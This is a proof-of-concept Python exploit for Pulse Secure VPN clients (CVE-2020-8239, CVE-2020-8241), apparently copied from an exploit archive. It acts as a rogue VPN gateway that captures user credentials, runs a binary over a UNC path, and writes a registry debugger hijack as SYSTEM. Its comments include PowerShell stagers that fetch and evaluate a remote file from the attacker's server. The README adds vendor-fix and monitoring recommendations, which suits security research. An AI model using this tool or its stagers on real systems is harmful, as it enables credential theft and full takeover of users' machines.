4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rogue-pulse-svr.py PY
# -*- coding: utf-8 -*-

"""
# pulse-secure-vpn-mitm-research
Pulse Secure VPN mitm Research

## Release date
Joint release date with vendor: 26 Oct 2020

## Author
David Kierznowski, @withdk

## CVE Refs
The following issues were identified as part of this research.
* CVE-2020-8241
* CVE-2020-8239

## Summary
This is a proof-of-concept tool developed to explore and test man-in-the-middle attacks targeting Pulse Secure Clients
running on Microsoft Windows 10.

The tool works by masquerading as a Pulse Secure gateway. Once a client connects the following attacks are implemented
(PoC only):
* Steal user credentials. A rogue server could lure the user into revealing their login credentials.
* Execute binary from a Microsoft Windows UNC path. The PCS server supports the option to launch an executable following
  authentication. This can be abused to get code execution with the permissions of the logged on user. This builds on the
  work of Alyssa Herrera and team Alyssa Herrera (4 September 2019).
* Full remote administrator access by abusing host compliance checks. The host compliance checks are executed as SYSTEM.
  A rogue server could abuse this functionality to push down a malicious policy which allows arbitrary write access to the
  registry.
* Intercept network traffic. This will allow the attacker to intercept and modify network traffic even when "always-on" is
  enabled. Currently the tool only displays network traffic requests from the endpoint.

## Recommendations
In mitigating and remediating the issue the following recommendations should be considered:
* Organisations should conduct compliance against the Pulse Secure security best practises (Pulse Secure, 2 July 2019). Ensure
  that “Dynamic certificate trust” is disabled.
* Apply the vendor fixes (see https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601).
* PCS Server script execution is executed as a child process of “Pulse.exe”. Thus, safeguards can be deployed by monitoring
  child processes of the “Pulse.exe” binary.
* Monitor the “PulseSecureService” service for suspicious registry activity.

## Refs
The original writeup with more info can be found here:
 * @withdk, Pulse Secure mitm Research [Online]. Available at https://github.com/withdk/pulse-secure-mitm-research/
 * See code commends in the main function. It provides a lot more details about the inner workings.

## Disclaimer
The information provided is for educational and research purposes only. The author takes no responsibility for your 
use of this information and strongly condemns any attempt to violate applicable laws. The author undertakes no duty 
to update this information, provides no warranties to its completeness, use or applicability, and disclaims all reliance 
on it. Your use of this information is solely your responsibility.

"""

import argparse
import socket
import ssl
import re
#import getopt
import sys
import struct

def getlen(aByteString):
  aLen=bytearray(struct.pack(">H", len(aByteString)))
  return(aLen)

def updatelen(aByteString):
  aLen = getlen(aByteString)
  aByteString[10:12] = aLen
  return(aByteString)

def updatecmd(aByteString):
  aByteString = aByteString + b'\x00'
  aLen = getlen(aByteString)
  aByteString = aLen + aByteString
  return(aByteString)

def which(conn):
  print(conn.recv()[0:3])

def handle(conn):
  '''
  TODO: Messy function with hardcoded byte strings captured from a lab session.
  '''
  while True:
    raw = conn.recv()
    if(raw[0:3]==b'GET'):
        print("******************************")
        print("******************************")
        print("******************************")
        print("Got EAP. Switching to EAP protocol.")
        print(raw)
        conn.write(b'HTTP/1.1 101 Switching Protocols\nContent-type: application/octet-stream\nPragma: no-cache\nUpgrade: IF-T/TLS 1.0\nConnection: Upgrade\nConnection: Keep-Alive\nKeep-Alive: timeout=15\nStrict-Transport-Security: max-age=31536000\n\n')
    else:
        #if(raw[0:4]==b"\x00\x00\x0A\x4c.*"):
        if(raw[16:20]==b"\x63\x6c\x69\x65"):
            print("******************************")
            print("******************************")
            print("******************************")
            print("Got a hostname and IP address")
            print(raw)
            print("Sending expected requests")
            conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x02\x00\x00\x00\x14\x00\x00\x01\xF5\x00\x00\x00\x02')
            conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x14\x00\x00\x01\xF6\x00\x0A\x4C\x01')
        if(raw[25:29]==b'anon'):
            print("******************************")
            print("******************************")
            print("******************************")
            print("Got anonymous username string")
            print(raw)
            print("Sending server string (hardcoded)")
            conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x60\x00\x00\x01\xF7\x00\x0A\x4C\x01\x01\x02\x00\x4C\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x0D\x49\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x04\x00\x00\x0D\x4A\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x01\x00\x00\x0D\x56\x80\x00\x00\x1D\x00\x00\x05\x83\x56\x41\x53\x50\x48\x31\x45\x34\x36\x31\x36\x45\x4B\x50\x42\x41\x53\x00\x00\x00')
        if(raw[96:101]==b'Pulse'):
            print("******************************")
            print("******************************")
            print("******************************")
            print("Got pulse client version")
            print(raw)
            print("Sending request to login")
            # Standard login (patched)
            if(CMDHACK):
                conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x38\x00\x00\x01\xF8\x00\x0A\x4C\x01\x01\x03\x00\x24\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x00\x15\x01\x00\x00\x0D\xFE\x00\x0A\x4C\x00\x00\x00\x02\x01\x00\x00\x10')
            else:
                ''' Use REGHACK instead of CMDHACK and AutoLogin '''
                conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x38\x00\x00\x01\xF8\x00\x0A\x4C\x01\x01\x03\x00\x24\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x00\x15\x01\x01\x00\x0D\xFE\x00\x0A\x4C\x00\x00\x00\x03\x21\x00\x00\x10')
            raw = '';
            while len(raw) < 1:
                raw = conn.recv()
                if(raw[0:4]==b'\x00\x00\x55\x97'):
                      print("******************************")
                      print("******************************")
                      print("******************************")
                      print("USERNAME & PASSWORD!!!!!! :)")
                      print(raw)
                      print("Sending fake session info")
                      conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\xD0\x00\x00\x01\xF9\x00\x0A\x4C\x01\x01\x04\x00\xBC\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x0D\x53\x80\x00\x00\x2C\x00\x00\x05\x83\x62\x39\x63\x61\x66\x30\x31\x63\x62\x34\x61\x38\x30\x39\x33\x65\x34\x62\x66\x31\x37\x36\x35\x30\x30\x65\x31\x66\x35\x32\x34\x37\x00\x00\x0D\x5C\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x0E\x10\x00\x00\x0D\x54\x80\x00\x00\x18\x00\x00\x05\x83\x31\x37\x32\x2E\x31\x36\x2E\x31\x30\x2E\x31\x30\x00\x00\x0D\x55\x80\x00\x00\x2C\x00\x00\x05\x83\x61\x64\x63\x37\x36\x66\x32\x33\x39\x37\x38\x38\x61\x39\x36\x34\x66\x30\x38\x66\x34\x63\x64\x37\x39\x35\x35\x66\x33\x34\x65\x35\x00\x00\x0D\x6B\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x10\x00\x00\x0D\x75\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x00\x00\x00\x0D\x57\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x00')
	if(raw==b'\x00\x00\x55\x97\x00\x00\x00\x06\x00\x00\x00\x20\x00\x00\x00\x00\x00\x0A\x4C\x01\x02\x04\x00\x0C\xFE\x00\x0A\x4C\x00\x00\x00\x01'):
		print("******************************")
            	print("******************************")
            	print("******************************")
		print("Sending after auth request 1")
		conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x07\x00\x00\x00\x18\x00\x00\x01\xFA\x00\x0A\x4C\x01\x03\x04\x00\x04')
		print("Sending after auth request 2: seems like network info")
		#conn.write(b'\x00\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x01\x18\x00\x00\x01\xFB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2C\x20\xF0\x00\x00\x00\x00\x00\x00\x00\x01\x08\x2E\x00\x00\x18\x01\x00\x00\x00\x07\x00\x00\x10\x00\x00\xFF\xFF\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\xD4\x03\x00\x00\x00\x40\x00\x00\x01\x00\x40\x01\x00\x01\x00\x40\x1F\x00\x01\x00\x40\x20\x00\x01\x00\x40\x21\x00\x01\x00\x40\x05\x00\x04\x00\x00\x05\x78\x00\x03\x00\x04\xC0\xA8\x01\xFE\x40\x06\x00\x0A\x6C\x61\x62\x2E\x6C\x6F\x63\x61\x6C\x00\x40\x07\x00\x04\x00\x00\x00\x01\x40\x19\x00\x01\x00\x40\x1A\x00\x01\x00\x40\x0F\x00\x02\x00\x00\x40\x10\x00\x02\x00\x00\x40\x11\x00\x02\x00\x00\x40\x12\x00\x04\x00\x00\x00\x00\x40\x13\x00\x04\x00\x00\x00\x00\x40\x14\x00\x04\x00\x00\x00\x00\x40\x15\x00\x04\x00\x00\x00\x00\x40\x16\x00\x02\x00\x00\x40\x17\x00\x04\x00\x00\x00\x00\x40\x18\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x0A\x01\x01\x0A\x00\x02\x00\x04\xFF\xFF\xFF\xFF\x40\x0B\x00\x04\x0A\xC8\xC8\xC8\x40\x0C\x00\x01\x00\x40\x0D\x00\x01\x00\x40\x0E\x00\x01\x00\x40\x1B\x00\x01\x00\x40\x1C\x00\x01\x00\x00\x13\x00\x01\x00\x00\x14\x00\x01\x00')
		# Run calc.exe
		cmdbytes=updatecmd(bytearray(CMD))
		sendByteString = bytearray('\x00\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x01\x34\x00\x00\x01\xFB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2C\x20\xF0\x00\x00\x00\x00\x00\x00\x00\x01\x24\x2E\x00\x00\x18\x01\x00\x00\x00\x07\x00\x00\x10\x00\x00\xFF\xFF\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\xF0\x03\x00\x00\x00\x40\x00\x00\x01\x00\x40\x01\x00\x01\x00\x40\x1F\x00\x01\x00\x40\x20\x00\x01\x00\x40\x21\x00\x01\x00\x40\x05\x00\x04\x00\x00\x05\x78\x00\x03\x00\x04\xC0\xA8\x01\xFE\x40\x06\x00\x0A\x6C\x61\x62\x2E\x6C\x6F\x63\x61\x6C\x00\x40\x07\x00\x04\x00\x00\x00\x01\x40\x19\x00\x01\x00\x40\x1A\x00\x01\x00\x40\x0F\x00\x02\x00\x00\x40\x10\x00\x02\x00\x00\x40\x11\x00\x02\x00\x00\x40\x12\x00\x04\x00\x00\x00\x00\x40\x13\x00\x04\x00\x00\x00\x00\x40\x14\x00\x04\x00\x00\x00\x00\x40\x15\x00\x04\x00\x00\x00\x00\x40\x16\x00\x02\x00\x00\x40\x17\x00\x04\x00\x00\x00\x00\x40\x18\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x0A\x01\x01\x0A\x00\x02\x00\x04\xFF\xFF\xFF\xFF\x40\x0B\x00\x04\x0A\xC8\xC8\xC8\x40\x0C' + cmdbytes + '\x40\x0D\x00\x01\x00\x40\x0E\x00\x01\x00\x40\x1B\x00\x01\x00\x40\x1C\x00\x01\x00\x00\x13\x00\x01\x00\x00\x14\x00\x01\x00')
		sendByteString = updatelen(sendByteString)
		conn.write(sendByteString)
		print("Sending after auth request 3")
		conn.write(b'\x00\x00\x0A\x4C\x00\x00\x00\x8F\x00\x00\x00\x14\x00\x00\x01\xFC\x00\x00\x00\x00')
	if(raw[7:11]==b'\x06\x00\x00\x08') and REGHACK:
	    	print("******************************")
            	print("******************************")
            	print("******************************")
		print("Got a compliance response")
		print(raw)
		print("Sending compliance response")
		conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x02\x28\x00\x00\x01\xF9\x00\x0A\x4C\x01\x01\x04\x02\x14\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x02\x05\x01\x02\x01\xFD\xFE\x00\x0A\x4C\x00\x00\x00\x03\x01\x00\x00\x00\x16\xC0\x00\x01\xEF\x00\x00\x05\x83\x00\x00\x02\xE8\x78\x9C\x8D\x52\xCD\x6A\x1B\x31\x10\x56\x03\xB9\x14\x1F\x7A\xEA\x59\xEC\x03\x14\xCB\x5E\xFF\xB1\x55\x61\x71\x1D\x62\xE2\x9F\x34\x49\x1D\x52\x0C\x8B\x2C\x8D\x5D\xD5\x5E\x69\x91\xB4\x8E\x0D\x3E\x14\xF2\x62\x79\x8C\x3E\x40\xA1\x0F\xD0\x17\xA8\x64\xA7\xC1\xD0\x1E\xA2\x8B\x46\xDF\x8C\xE6\x9B\xF9\x66\x10\xAA\xFC\x7C\x44\x27\x3F\x10\x3A\x7D\x40\xA8\xF2\xEB\x11\xA1\x72\x6F\x9F\x3E\xBC\x7D\x7F\x99\x5E\xA5\x43\x3C\x4A\x87\x3D\x1A\x5D\x32\xC3\x72\x70\x60\xAA\x11\x9E\xA4\x83\xCF\x1E\x4A\x38\x18\x97\xE5\xA2\x41\x99\xE0\xAD\xE6\xBC\x56\xEF\xB4\xDA\x6D\xD6\x69\xC6\xF3\x6A\x7B\x1E\x73\xD1\xEA\x34\x1A\xF3\x7A\x0C\x8D\xC4\x82\x59\x83\xC9\x9C\xCC\x81\x92\x46\xBB\x4D\xEA\x31\x89\xEB\xD1\x87\xD7\x68\x7F\x02\xEF\xC9\xD5\x33\x6F\x11\xB8\xB0\xF2\x7C\x34\x2A\xFE\xF2\x92\x08\xAF\xD9\xAA\xF4\x90\x9E\x7D\x03\xEE\x32\x55\xE6\x33\x30\x94\x24\xB8\x30\x7A\x2D\x85\xB7\x0D\x2C\xA4\x75\x66\x9B\x60\x53\xAE\x40\x0A\x42\xAB\x07\x33\xE4\x22\xC1\xFD\x95\xF1\xA5\x87\x9E\xE2\xB2\x25\x6C\x09\x3D\xBF\xE8\xDD\x65\x83\x71\x37\x1D\x64\xC3\xB4\x7B\xDE\x1F\xF5\x8E\x22\x6C\x39\xDB\x07\x5D\x8F\xCF\x6E\x6E\xD3\xAB\xDE\x74\x28\xB9\xD1\x56\xCF\xDD\xF4\x56\x2A\xA1\xEF\x2D\x1E\xDD\x4C\xBB\xA5\x31\xA0\xDC\x04\x8C\x95\x5A\x4D\xFB\x39\x5B\x00\x3E\x93\x2B\xC0\xBD\x0D\xF0\xD2\x79\x10\x8F\x8B\x70\xD9\xA9\xD2\x0E\x0A\x26\xDE\xC1\x06\x8E\x78\x0E\x15\x0A\x98\x95\x8B\x05\x98\x23\x87\xDB\x16\xDE\x71\xED\x8C\x54\x8B\x3D\x3C\x91\x70\xDF\x8C\x49\x68\x3C\x97\xCA\xCB\xFA\xDC\xA5\x81\x1C\x04\xB5\xE0\x12\xAC\x00\x84\x1D\x6A\x25\x9D\x0E\x1F\x43\xB0\xD7\x49\xAF\x24\xDF\xD2\x35\xAF\xEE\x6A\xBB\xC3\x23\xAB\xED\xC8\xEE\x5F\x5D\xF6\x4A\x13\x7A\x57\x23\xCB\x41\x3E\x89\xBF\x7C\xA2\x34\xC1\x33\x66\xA1\x19\x83\xE2\x5A\x80\x97\x96\xF8\xF1\xFD\x7F\x54\xB5\x17\x8C\xEA\x40\x2F\x98\x63\x2F\xA9\xCB\x37\xC7\x75\xA9\x5C\x48\x01\x9B\xC2\x80\x0D\x3A\xF7\x3F\x5A\x5F\x16\xD7\x4A\xC8\x20\x2D\x5B\x79\x21\x22\xFC\xB4\x54\x95\xDF\xDF\x11\x7A\x73\xD8\x6B\xF4\xEA\x0F\xDC\xD1\xF8\x88\x00\x00\x00\x00')
		print("Sending registry hack: Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe debugger=cmd.exe")
		conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x01\x6C\x00\x00\x01\xFA\x00\x0A\x4C\x01\x01\x05\x01\x58\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x01\x49\x01\x03\x01\x41\xFE\x00\x0A\x4C\x00\x00\x00\x03\x01\x00\x00\x00\x16\xC0\x00\x01\x34\x00\x00\x05\x83\x00\x00\x01\x6C\x78\x9C\x4D\x50\x4D\x6B\xC2\x40\x14\x5C\x0F\x5E\x24\x42\xE9\xA1\xE7\x25\xA7\x96\x96\xD8\xDA\x9B\x55\x69\x31\x1E\x02\x5A\xC5\x08\x52\x10\xCA\x76\xF3\x1A\xB7\xC6\xC4\x66\x9F\x62\x20\x87\x82\xBF\xA6\xFF\xC2\x1F\x53\xDA\x6B\x3F\xFE\x40\xDF\x56\x0B\x0E\x0B\x3B\x33\x3C\x66\xDF\x2C\x63\xD6\xDB\x86\x31\x8B\xB1\xE2\x9A\xAE\xCF\x0D\x2B\x5C\xEF\xF8\x17\xF9\x07\x86\x23\x68\x24\xFD\x4D\xFA\xD5\xE8\xE1\x44\x69\x4E\xE7\x41\x04\x7C\x26\x10\x1C\x42\xB9\x54\xD7\x32\x55\x73\xE4\x91\x88\xC3\x85\x08\xA1\x61\x3F\x89\xA5\xD8\x9A\x36\xC7\x6C\x4E\x0E\xC2\x0A\x2B\x7B\x76\xB3\x5C\xF2\x33\x8D\x30\x73\x5C\x25\xC2\x38\xD1\xA8\xA4\x76\xFA\x69\x22\x41\x6B\xC7\x47\x91\xE2\xB1\xDD\xAA\x8D\x47\xDE\xAD\xDB\x1B\xF9\x63\xFD\x37\x7C\x59\x1D\x4B\x11\x49\x07\x56\x60\x9F\x5C\x95\x4B\x9C\x50\xAF\x6C\x23\x9B\xCC\xC0\x7A\xA7\x5D\x4F\xCD\xAE\x03\x78\x5E\xA8\x14\x02\x9E\x42\xA8\x34\xA6\x19\x9F\x42\xC6\xE3\x04\xF9\x63\xB2\x88\x03\x33\x6B\xFA\x77\x76\x9D\x3F\x88\x6F\xFB\x17\xD7\x47\x83\x76\xB7\xED\x7A\x37\xC3\x76\xAD\xDF\xEB\x78\xAD\x3B\xCF\x6D\x2C\xE5\x79\x5E\xCD\xE7\x49\xA4\x64\x76\x5F\xCD\x2F\x72\x8A\x9D\x08\x39\x3D\xD3\x80\xE6\xE1\xC3\xFF\x3F\x23\x5E\xA0\xBC\x9F\x97\x3D\xFD\x0B\x6C\x53\x68\x94\x04\x8C\x95')

        print(raw)
    if(len(raw) == 0):
        return(False);

  """conn.write(b'HTTP/1.1 200 OK\n\n%s' % conn.getpeername()[0].encode())"""

def main():
    global REGHACK, CMDHACK, CMD

    parser=argparse.ArgumentParser(description='CVE-2020-8239, CVE-2020-8241 Pulse Secure VPN MitM PoC tool')
    parser.add_argument('-v', '--verbose', '--debug', action='store_true')
    parser.add_argument('-i','--ip', required=True, help='x.x.x.x ; interface to listen on')
    parser.add_argument('-p','--port', required=False, help='443 ; defaults to port 443')
    parser.add_argument('--cmdhack', required=False, help='\\\\\\\\172.16.10.146\\\\test\\\\nc.exe ; Execute binary via UNC path as logged in user')
    parser.add_argument('--reghack', required=False, help='True|False ; Execute PowerShell script as SYSTEM (CVE-2020-8241)')
    #parser.add_argument('-c','--cmd', required=True, help='ls /')
    #parser.add_argument('-i','--interactive', required=False, help='shell')
    #parser.add_argument('-p','--proxy', help='e.g. 127.0.0.1:8080')
    #parser.add_argument('-ua','--useragent')
    args=parser.parse_args()

    if args.verbose:
        debug=True

    # SSL Setup
    # $ openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
    CERT = 'cert.pem'
    KEY = 'key.pem'
    HOST=args.ip
    if args.port:
        PORT=int(args.port)
    else:
        PORT = 443
    if args.cmdhack:
        '''
        Please refer to Alyssa Herrera’s (Alyssa Herrera, 2019) detailed write up on this attack. Although the initial
        compromise vector is different, i.e. we don't need to compromise the server, the attack is the same.

        Pulse copies the binary to %userdata%\\tmp and then executes it. There is no obvious way to pass arguments. We use UNC instead.
        Quick way to setup smbserver on Kali:
            1. cp /usr/share/windows-binaries/nc.exe /tmp
            2. cd /usr/share/doc/python-impacket/examples
            3. ./smbserver.py TEST /tmp -smb2support
            4. python rogue-pulse-svr.py -i 172.16.10.220 --cmdhack \\\\172.16.10.220\\test\\nc.exe
        '''
        print("The default attack option is selected.")
        print("It will send the user a request to login and capture credentials before executing cmd.")
        print("Payload at: %s" % args.cmdhack)
        print("")
        CMDHACK=True
        CMD=args.cmdhack
    else:
        CMDHACK=False
    if args.reghack:
        '''
        Reghack exploits CVE-2020-8241. This allows us to create an arbitrary registry key as SYSTEM.

        One method of acquiring code execution is by abusing Windows debugging options and installing a malicious “debugger”
        when a particular executable is run. For the PoC we just poison "notepad.exe" with cmd.exe.

        The affected registry key is:
        Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe

        When attempting to exploit this in the lab we ran into several challenges that we had to overcome.

        Due to length restrictions with the debugger string, two registry keys are required, called “stage0” and “stage1”.
        The first stager simply calls the second stager which has a much larger buffer to play with.

        Stager 0 (queries reg key t):
        powershell -command iex(Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe'
        -name t) #

        As the attack is hardcoded, “stager1” needs a way of dynamically calling home. For this, the stager acquires the
        hostname from the Pulse Secure Client configuration file, performs a UNC request for “1.txt” and then evaluates it.

        Stager 1 (generic payload to call back to rogue server):
        $u=Select-String -pattern 'uri: "(.*)"' "C:\ProgramData\Pulse Secure\ConnectionStore\connstore.bak" | % {$_.matches} | % {$_.groups[1]} | % {$_.value}
        if($u)
        {
            $u='\\'+$u+'\t\'+'1.txt' ### $u = ‘\\{svr_in_config}\t\1.txt’ ###
            iex(gc $u)
        }

        Note, the PoC was not weaponised. Instead, it simply sets up cmd.exe as a debugger for notepad.exe. After executing, we can run
        notepad.exe to test if the target is vulnerable, or check if the debugger key exists in the above registry path.
        '''
        print("reghack (CVE-2020-8241) is selected (see code comments).")
        print("It will perform an autologin and not request the user to authenticate.")
        print("")
        REGHACK=True
        CMDHACK=False
        CMD="blah" # TODO
    else:
        REGHACK=False

    if CMDHACK == False and REGHACK == False:
        exit("No attack selected. Please use --cmdhack or --reghack options. Use -h for help.")

    sock = socket.socket()
    sock.bind((HOST, PORT))
    sock.listen(5)
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.load_cert_chain(certfile=CERT, keyfile=KEY)
    print("Listening for clients....")

    while True:
        conn = None
        ssock, addr = sock.accept()
        try:
            conn = context.wrap_socket(ssock, server_side=True)
            handle(conn)
        except ssl.SSLError as e:
            print(e)
        finally:
            if conn:
                conn.close()

if __name__ == '__main__':
  main()